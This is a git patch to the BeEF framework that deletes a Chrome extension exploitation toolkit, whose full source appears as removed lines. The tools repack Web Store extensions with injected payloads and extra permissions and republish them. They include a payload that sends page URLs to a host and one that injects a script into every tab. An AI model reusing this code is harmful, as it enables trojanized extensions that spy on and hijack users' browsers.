From c6618cd93284d996763188bbb535e026966e3baa Mon Sep 17 00:00:00 2001 From: bcoles Date: Mon, 3 Apr 2023 20:01:05 +1000 Subject: [PATCH] Tools: Remove chrome_extensions_exploitation (#2798) * Tools: Remove chrome_extensions_exploitation * Tools: move scripts/bump-version.sh -> tools/bump-version.sh --- .dockerignore | 3 +- {scripts => tools}/bump-version.sh | 7 +- .../chrome_extensions_exploitation/README.md | 87 ------ .../injector/chrome_extension_toolkit.rb | 135 -------- .../injector/config.ini | 9 - .../injector/inject.rb | 53 ---- .../injector/repacker-crx.sh | 117 ------- .../injector/repacker-webstore.sh | 100 ------ .../payloads/cs.js | 2 - .../payloads/cs_mass_poison.js | 23 -- .../payloads/phonehome.js | 6 - .../webstore_uploader/config.rb.sample | 22 -- .../webstore_uploader/test_ext.zip | Bin 18819 -> 0 bytes .../webstore_uploader/test_ext/background.js | 5 - .../webstore_uploader/test_ext/icon128.png | Bin 11401 -> 0 bytes .../webstore_uploader/test_ext/icon16.png | Bin 1689 -> 0 bytes .../webstore_uploader/test_ext/icon48.png | Bin 3638 -> 0 bytes .../webstore_uploader/test_ext/manifest.json | 21 -- .../webstore_uploader/webstore_upload.rb | 289 ------------------ 19 files changed, 7 insertions(+), 872 deletions(-) rename {scripts => tools}/bump-version.sh (80%) mode change 100644 => 100755 delete mode 100644 tools/chrome_extensions_exploitation/README.md delete mode 100644 tools/chrome_extensions_exploitation/injector/chrome_extension_toolkit.rb delete mode 100644 tools/chrome_extensions_exploitation/injector/config.ini delete mode 100755 tools/chrome_extensions_exploitation/injector/inject.rb delete mode 100755 tools/chrome_extensions_exploitation/injector/repacker-crx.sh delete mode 100755 tools/chrome_extensions_exploitation/injector/repacker-webstore.sh delete mode 100644 tools/chrome_extensions_exploitation/payloads/cs.js delete mode 100644 tools/chrome_extensions_exploitation/payloads/cs_mass_poison.js delete mode 100644 tools/chrome_extensions_exploitation/payloads/phonehome.js delete mode 100644 tools/chrome_extensions_exploitation/webstore_uploader/config.rb.sample delete mode 100644 tools/chrome_extensions_exploitation/webstore_uploader/test_ext.zip delete mode 100644 tools/chrome_extensions_exploitation/webstore_uploader/test_ext/background.js delete mode 100644 tools/chrome_extensions_exploitation/webstore_uploader/test_ext/icon128.png delete mode 100644 tools/chrome_extensions_exploitation/webstore_uploader/test_ext/icon16.png delete mode 100644 tools/chrome_extensions_exploitation/webstore_uploader/test_ext/icon48.png delete mode 100644 tools/chrome_extensions_exploitation/webstore_uploader/test_ext/manifest.json delete mode 100644 tools/chrome_extensions_exploitation/webstore_uploader/webstore_upload.rb diff --git a/.dockerignore b/.dockerignore index 3e84f0a71..e69750034 100644 --- a/.dockerignore +++ b/.dockerignore @@ -4,6 +4,5 @@ .gitignore doc docs -scripts test -update-beef \ No newline at end of file +update-beef diff --git a/scripts/bump-version.sh b/tools/bump-version.sh old mode 100644 new mode 100755 similarity index 80% rename from scripts/bump-version.sh rename to tools/bump-version.sh index 80d3f3c96..2077a5726 --- a/scripts/bump-version.sh +++ b/tools/bump-version.sh @@ -1,10 +1,15 @@ -#!/bin/bash +#!/usr/bin/env bash if [[ -z "${1}" || -z "${2}" ]]; then echo "Error: missing arguments" exit 1 fi +if [[ ! -f beef || ! -f VERSION ]]; then + echo "Error: must be run from within the BeEF root directory" + exit 1 +fi + echo "Updating version ${1} to ${2}" git checkout -b "release/${2}" diff --git a/tools/chrome_extensions_exploitation/README.md b/tools/chrome_extensions_exploitation/README.md deleted file mode 100644 index 8570726b2..000000000 --- a/tools/chrome_extensions_exploitation/README.md +++ /dev/null @@ -1,87 +0,0 @@ -Various tools for dealing with Chrome Extensions, especially valuable for pentesting / social engineering assignments. - -Authors: - - - Krzysztof Kotowicz - @kkotowicz - [blog](http://blog.kotowicz.net) - - Michele '@antisnatchor' Orru - - -Injector --------- -Bunch of scripts for injecting existing extensions with new code: -Extensions can be downloaded from Chrome WebStore (repacker-webstore) or taken from crx files (repacker-crx). - -Requirements: - - - bash - - ruby - - zip (cmd line) - - curl (cmd line) - - Google Chrome (used in crx mode only) - -Usage: - - # get extension from Web Store, add payloads/phonehome.js and copy the extension to repacked-dir/ - $ injector/repacker-webstore.sh clcbnchcgjcjphmnpndoelbdhakdlfkk dir repacked-dir payloads/phonehome.js - - # Same, but pack into repacked.zip instead - $ injector/repacker-webstore.sh clcbnchcgjcjphmnpndoelbdhakdlfkk zip repacked.zip payloads/phonehome.js - - # Create new CRX with Google Chrome - $ injector/repacker-webstore.sh clcbnchcgjcjphmnpndoelbdhakdlfkk crx repacked.crx payloads/phonehome.js - - # Inject into existing CRX file - $ injector/repacker-crx.sh original.crx crx repacked.crx payloads/phonehome.js - - # Add some permissions into manifest.json - $ injector/repacker-crx.sh original.crx crx repacked.crx payloads/phonehome.js "tabs,proxy" - - # Add persistent content script file launching on every tab - $ echo 'console.log(location.href)' > cs.js - $ injector/repacker-crx.sh original.crx crx repacked.crx payloads/cs_mass_poison.js "tabs," cs.js - -For example - mass poisoning every tab with [mosquito](https://github.com/koto/mosquito): - - # start mosquito server: - $ cd path/to/mosquito - $ python mosquito/start.py 8082 4444 --http 8000 - - # generate mosquito hook: - # - visit http://localhost:8000/generate - # - save hook as cs.js - - # inject mosquito dropper into extension: - $ injector/repacker-crx.sh original.crx crx repacked.crx payloads/cs_mass_poison.js "tabs," cs.js - - -Webstore Uploader ------------------ -Script for uploading and publishing Chrome Extensions packed in zip files in Chrome Web Store - -Requirements: - - - ruby - -Usage: - - # Preparation: - - 1. Create Chrome developer account - 2. Login at https://chrome.google.com/webstore/developer/dashboard/ - 3. Pay your $5 one time fee (credit card needed) - 4. Get SID, SSID, HSID cookies and paste their values in webstore_uploader/config.rb file - - # Get Chrome extension code - # e.g. run Injector in zip mode: - - $ injector/repacker-webstore.sh clcbnchcgjcjphmnpndoelbdhakdlfkk zip repacked.zip payloads/phonehome.js - - # (optional) - prepare screenshot / description file - - # publish the extension right away - $ ruby webstore_uploader/webstore_upload.rb repacked.zip publish description.txt screenshot.png - - # or just upload & save it: - $ ruby webstore_uploader/webstore_upload.rb repacked.zip save description.txt screenshot.png - - # you can access the extension from your developer dashboard \ No newline at end of file diff --git a/tools/chrome_extensions_exploitation/injector/chrome_extension_toolkit.rb b/tools/chrome_extensions_exploitation/injector/chrome_extension_toolkit.rb deleted file mode 100644 index bf498c273..000000000 --- a/tools/chrome_extensions_exploitation/injector/chrome_extension_toolkit.rb +++ /dev/null @@ -1,135 +0,0 @@ -#!/usr/bin/env ruby -# encoding: UTF-8 - -# Authors: -# Krzysztof Kotowicz - @kkotowicz - http://blog.kotowicz.net - -require 'rubygems' -require 'json' -require 'securerandom' - -class ChromeExtensionToolkit - @ext = '' - @manifest - BCG_SCRIPT = 1 - BCG_PAGE = 2 - - def initialize(extpath) - raise ArgumentError, "Empty extension path" unless extpath - raise ArgumentError, "Invalid extension path" unless File.directory?(extpath) - @ext = extpath - end - - def reload_manifest() - f = get_file('manifest.json') - manifest = File.read(f).sub("\xef\xbb\xbf", '') - manifest = JSON.parse(manifest) - set_manifest(manifest) - return manifest - end - - def get_manifest() - if @manifest - return @manifest - end - - return reload_manifest() - end - - def set_manifest(manifest) - @manifest = manifest - end - - def save_manifest() - save_file('manifest.json', JSON.pretty_generate(@manifest)) - end - - def save_file(file, contents) - File.open(get_file(file), 'w') {|f| f.write contents } - end - - def get_file(file) - return File.join(@ext, file) - end - - def assert_not_app() - manifest = get_manifest() - raise RuntimeError, "Apps are not supported, only regular Chrome extensions" if manifest['app'] - end - - def inject_script(payload) - assert_not_app() - assert_background_page('injector_bg') # add page to extensions that don't have one - bcg_file = get_file(get_background_page()) - - if File.exist?(bcg_file) - bcg = File.read(bcg_file) - else - bcg = "" - end - - if not payload - return bcg - end - - if bcg_file.end_with? ".js" # js file, just prepend payload - return payload + ";" + bcg - end - - name = SecureRandom.hex + '.js' - save_file(name, payload) - return bcg.sub(/(\|\Z)/i, "\\1\n") - end - - def assert_background_page(default) - manifest = get_manifest() - if not manifest['manifest_version'].nil? and manifest['manifest_version'] >= 2 - if manifest['background'].nil? - manifest['background'] = {} - end - - if manifest['background']['page'] - return BCG_PAGE - end - - if not manifest['background']['scripts'].nil? - manifest['background']['scripts'].unshift(default + '.js') - set_manifest(manifest) - return BCG_SCRIPT - else - - manifest['background']['scripts'] = [default + '.js'] - set_manifest(manifest) - return BCG_SCRIPT - end - end - if not manifest['background_page'] - manifest['background_page'] = default + '.html' - end - set_manifest(manifest) - return BCG_PAGE - end - - def add_permissions(perms) - manifest = get_manifest() - manifest['permissions'] += perms - manifest['permissions'].uniq! - set_manifest(manifest) - end - - def get_background_page() - manifest = get_manifest() - if manifest['background'] and manifest['background']['page'] - return manifest['background']['page'] - end - - if manifest['background'] and manifest['background']['scripts'] - return manifest['background']['scripts'][0] - end - - if manifest['background_page'] - return manifest['background_page'] - end - raise RuntimeError, "No background page present" - end -end diff --git a/tools/chrome_extensions_exploitation/injector/config.ini b/tools/chrome_extensions_exploitation/injector/config.ini deleted file mode 100644 index 14d3ac6d6..000000000 --- a/tools/chrome_extensions_exploitation/injector/config.ini +++ /dev/null @@ -1,9 +0,0 @@ -#!/usr/bin/env bash - -# path to chrome binary -CHROMEPATH="/Applications/Google Chrome.app/Contents/MacOS/Google Chrome" - -# Private key to sign repacked extensions with. -# Leave empty to generate new file on every run. -#PEM="/home/koto/dev/xsschef/tools/dev.pem" -PEM= \ No newline at end of file diff --git a/tools/chrome_extensions_exploitation/injector/inject.rb b/tools/chrome_extensions_exploitation/injector/inject.rb deleted file mode 100755 index a0739a522..000000000 --- a/tools/chrome_extensions_exploitation/injector/inject.rb +++ /dev/null @@ -1,53 +0,0 @@ -#!/usr/bin/env ruby -# encoding: UTF-8 - -# Authors: -# Krzysztof Kotowicz - @kkotowicz - http://blog.kotowicz.net - -require_relative 'chrome_extension_toolkit.rb' - -def help() - puts "[-] Error. Usage: ruby inject.rb [permissions] < script.js" - puts "Example: ruby inject.rb dir-with-extension 'plugins,proxy,cookies' < inject.js" - exit 1 -end - -begin - extpath = ARGV[0] - if not extpath - help() - end - t = ChromeExtensionToolkit.new(extpath) - puts "Loaded extension in #{extpath}" - - manifest = t.get_manifest() - puts "Existing manifest: " - puts manifest - - # injecting any script from stdin - puts "Reading payload..." - payload = $stdin.read - puts "Injecting payload..." - - injected = t.inject_script(payload) - - print injected - - if ARGV[1] - perms = ARGV[1].split(',') - puts "Adding permissions #{ARGV[1]}..." - t.add_permissions(perms) - end - - puts "Saving..." - # write - t.save_file(t.get_background_page(), injected) - t.save_manifest() - - puts "Done." - -rescue Exception => e - $stderr.puts e.message - $stderr.puts e.backtrace.inspect - exit 1 -end diff --git a/tools/chrome_extensions_exploitation/injector/repacker-crx.sh b/tools/chrome_extensions_exploitation/injector/repacker-crx.sh deleted file mode 100755 index 5d5200ba0..000000000 --- a/tools/chrome_extensions_exploitation/injector/repacker-crx.sh +++ /dev/null @@ -1,117 +0,0 @@ -#!/usr/bin/env bash - -# Authors: -# Krzysztof Kotowicz - @kkotowicz - http://blog.kotowicz.net -# -# Unpacks a crx file, inject it with given payload, and, optionally -# packs it into zip/crx file -# see ../README.md - -DIR=$( cd "$( dirname "$0" )" && pwd ) -source $DIR/config.ini -RUNDIR=`pwd` -tempfoo=`basename $0` -TMPDIR=`mktemp -d -t ${tempfoo}` || exit 1 -EXTDIR="$TMPDIR" - -INPUT_CRX=$1 -MODE=$2 -DESTINATION=$3 -JS_FILE=$4 -shift 4 - -if [ ! -z "$1" ]; then # 5th param optional - PERMISSIONS=$1 - shift -else - PERMISSIONS="" -fi - -function help { - printf "Usage: %s: [permissions] [file1 ... ] \n" $(basename $0) >&2 - echo " - original extension CRX file" >&2 - echo " - output mode (dir|zip|crx)" >&2 - echo " - directory or file path to write injected extension to (depending on )" >&2 - echo " - script to inject into extension background" >&2 - echo " [permissions] - comma separated permissions requested by script (to add to manifest)">&2 - echo " [file...] - additional files to add to extension" >&2 - exit 2 -} - -if [[ $# -eq 0 ]] ; then - help -fi - -if [ ! -f "${INPUT_CRX}" ]; then - bailout "No input CRX file! - ${INPUT_CRX}" -fi - -if [ ! -f "${JS_FILE}" ]; then - bailout "No file to inject! - ${JS_FILE}" -fi - -if [ -z "$DESTINATION" ] || [ -z "$MODE" ]; then - bailout "You must give mode and destination!" -fi - -function cleanup { - rm -rf "$TMPDIR" -} - -function bailout () { - echo "Error: $1" >&2 - cleanup - exit 1 -} - -echo "Unpacking $INPUT_CRX to $EXTDIR..." -# supress warning about extra prefix bytes -unzip -qo "$INPUT_CRX" -d "$EXTDIR" 2>/dev/null -echo "Injecting script $JS_FILE..." - -$DIR/inject.rb "$EXTDIR" "$PERMISSIONS" < $JS_FILE || bailout "Injection failed" - -# copy additional files -for file in "$@" -do - - if [ -f "$file" ]; then - echo "Adding $file..." - cp "$file" "$EXTDIR" - fi -done - -echo "Mode: $MODE" - -case "$MODE" in - crx) - if [ ! -x "$CHROMEPATH" ]; then - bailout "You must set correct CHROMEPATH in tools/config.ini" - fi - - echo "Signing $EXTDIR..." - "$CHROMEPATH" --pack-extension="$EXTDIR" --pack-extension-key="$PEM" --no-message-box - if (( $? )) ; then - bailout "Signing in Chrome FAILED." - fi - - echo "Moving signed extension to $DESTINATION" - mv "`dirname "$EXTDIR"`/`basename "$EXTDIR"`.crx" "$DESTINATION" - ;; - zip) - echo "Zipping extension to $DESTINATION" - cd "$EXTDIR" - zip -r __tmp.zip . - cd - - mv "$EXTDIR/__tmp.zip" $DESTINATION - ;; - dir) - echo "Moving extension directory to $DESTINATION" - rm -r "$DESTINATION" - mv "$EXTDIR" "$DESTINATION" - ;; - *) - bailout "Unknown mode: $MODE" -esac - -cleanup diff --git a/tools/chrome_extensions_exploitation/injector/repacker-webstore.sh b/tools/chrome_extensions_exploitation/injector/repacker-webstore.sh deleted file mode 100755 index a6d805d73..000000000 --- a/tools/chrome_extensions_exploitation/injector/repacker-webstore.sh +++ /dev/null @@ -1,100 +0,0 @@ -#!/usr/bin/env bash - -# Authors: -# Krzysztof Kotowicz - @kkotowicz - http://blog.kotowicz.net -# -# Downloads extension from Google Chrome Webstore, inject it with given payload, and, optionally -# packs it into zip/crx file -# see ../README.md - -RUNDIR=`pwd` -DIR=$( cd "$( dirname "$0" )" && pwd ) -tempfoo=`basename $0` -TMPDIR=`mktemp -d -t ${tempfoo}` || exit 1 - -function help { - printf "Usage: %s: [-q] [permissions] [file1 ...] \n" $(basename $0) >&2 - echo " -q : quiet, only repacked extension filename will be printed to stdout" >&2 - echo " - extension id from Chrome WebStore" >&2 - echo " - output mode (dir|zip|crx)" >&2 - echo " - directory or file path to write injected extension to (depending on )" >&2 - echo " - script to inject into extension background" >&2 - echo " [permissions] - comma separated permissions requested by script (to add to manifest)">&2 - echo " [file...] - additional files to add to extension" >&2 - exit 2 -} - -function cleanup { - rm -rf "$TMPDIR" - cd "$RUNDIR" -} - -function bailout () { - echo "Error: $1" >&2 - cleanup - exit 1 -} - -#Parsing command line parameters -QUIET= -PERMISSIONS="tabs,proxy,,history,cookies,management,plugins" - -while getopts 'qh' OPTION -do - case $OPTION in - q) QUIET="1" - ;; - h) help - ;; - *) help - ;; - esac -done - -shift $(($OPTIND - 1)) - -if [[ $# -eq 0 ]] ; then - help -fi - -EXT_ID="$1" -MODE="$2" -DESTINATION="$3" -JS_FILE="$4" -PERMISSIONS="$5" -shift 5 - -if [ -z "$EXT_ID" ]; then - bailout "No extension ID!" -fi - -if [ ! -f "${JS_FILE}" ]; then - bailout "No file to inject! - ${JS_FILE}" -fi - -if [ -z "$DESTINATION" ] || [ -z "$MODE" ]; then - bailout "You must give mode and destination!" -fi - -WEBSTORE_URL="https://clients2.google.com/service/update2/crx?response=redirect&x=id%3D${EXT_ID}%26lang%3Dpl%26uc" - -# offline test -# cp tmp/adblock.crx "$TMPDIR/org.crx" - -if [ "$QUIET" ]; then - curl -L "$WEBSTORE_URL" -o "$TMPDIR/org.crx" --silent -else - curl -L "$WEBSTORE_URL" -o "$TMPDIR/org.crx" -fi - -if (( $? )) ; then - bailout "CURL failed." -fi - -if [ "$QUIET" ]; then - $DIR/repacker-crx.sh "$TMPDIR/org.crx" "$MODE" "$DESTINATION" "$JS_FILE" "$PERMISSIONS" $@ >/dev/null || bailout "Repacker failed" - echo -n $DESTINATION -else - $DIR/repacker-crx.sh "$TMPDIR/org.crx" "$MODE" "$DESTINATION" "$JS_FILE" "$PERMISSIONS" $@ || bailout "Repacker failed" -fi -rm $TMPDIR/org.crx \ No newline at end of file diff --git a/tools/chrome_extensions_exploitation/payloads/cs.js b/tools/chrome_extensions_exploitation/payloads/cs.js deleted file mode 100644 index c952180ab..000000000 --- a/tools/chrome_extensions_exploitation/payloads/cs.js +++ /dev/null @@ -1,2 +0,0 @@ -// sample payload -console.log(location.href); diff --git a/tools/chrome_extensions_exploitation/payloads/cs_mass_poison.js b/tools/chrome_extensions_exploitation/payloads/cs_mass_poison.js deleted file mode 100644 index d07e5e7fd..000000000 --- a/tools/chrome_extensions_exploitation/payloads/cs_mass_poison.js +++ /dev/null @@ -1,23 +0,0 @@ -// add a /cs.js file to extension and have it run in a content script on every tab -var INJECTOR_CS_PAYLOAD = '/cs.js'; -// requires tabs permissions - -chrome.tabs.query({}, function (tabs) { - for (var i = 0; i < tabs.length; i++) { - if (tabs[i].url.match('^http')) { - chrome.tabs.executeScript(tabs[i].id, { - allFrames: true, - file: INJECTOR_CS_PAYLOAD}); - } - } - } -); - -chrome.tabs.onUpdated.addListener( function (tabId, changeInfo, tab) { - if (changeInfo.status == 'complete' && tab.url.match('^http')) { - chrome.tabs.executeScript(tabId, { - allFrames: true, - file: INJECTOR_CS_PAYLOAD - }); - } -}); diff --git a/tools/chrome_extensions_exploitation/payloads/phonehome.js b/tools/chrome_extensions_exploitation/payloads/phonehome.js deleted file mode 100644 index 533331e1f..000000000 --- a/tools/chrome_extensions_exploitation/payloads/phonehome.js +++ /dev/null @@ -1,6 +0,0 @@ -var x = new XMLHttpRequest(); -x.open('get', 'http://localhost/?url=' + encodeURIComponent(location.href), true); -x.onload = x.onerror = function() { -console.log('phoned home'); -} -x.send(null); \ No newline at end of file diff --git a/tools/chrome_extensions_exploitation/webstore_uploader/config.rb.sample b/tools/chrome_extensions_exploitation/webstore_uploader/config.rb.sample deleted file mode 100644 index c4e7741d0..000000000 --- a/tools/chrome_extensions_exploitation/webstore_uploader/config.rb.sample +++ /dev/null @@ -1,22 +0,0 @@ -# Authors: -# Michele '@antisnatchor' Orru - -# 1. Login at https://chrome.google.com/webstore/developer/dashboard/ -# 2. Pay your $5 one time fee -# 3. Get SID, SSID, HSID cookies and paste their values below - -# if you want to proxy request through Burp, USE_PROXY = true -USE_PROXY = false -PROXY_HOST = "127.0.0.1" -PROXY_PORT = 9090 - -HTTP_READ_OPEN_TIMEOUT = 30 # seconds - -G_PUBLISHER_ID = '' # gXXXXXXX, the last part of the Dashboard URL https://chrome.google.com/webstore/developer/dashboard/gXXXX - -# these are the only 3 session cookies needed, the rest of the cookies are not needed. -# you get these cookies when you are successfully authenticated on -SID = "" -SSID = "" -HSID = "" - diff --git a/tools/chrome_extensions_exploitation/webstore_uploader/test_ext.zip b/tools/chrome_extensions_exploitation/webstore_uploader/test_ext.zip deleted file mode 100644 index f78442973156a346fbcfadb0b2be83a462c07ca6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 18819 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 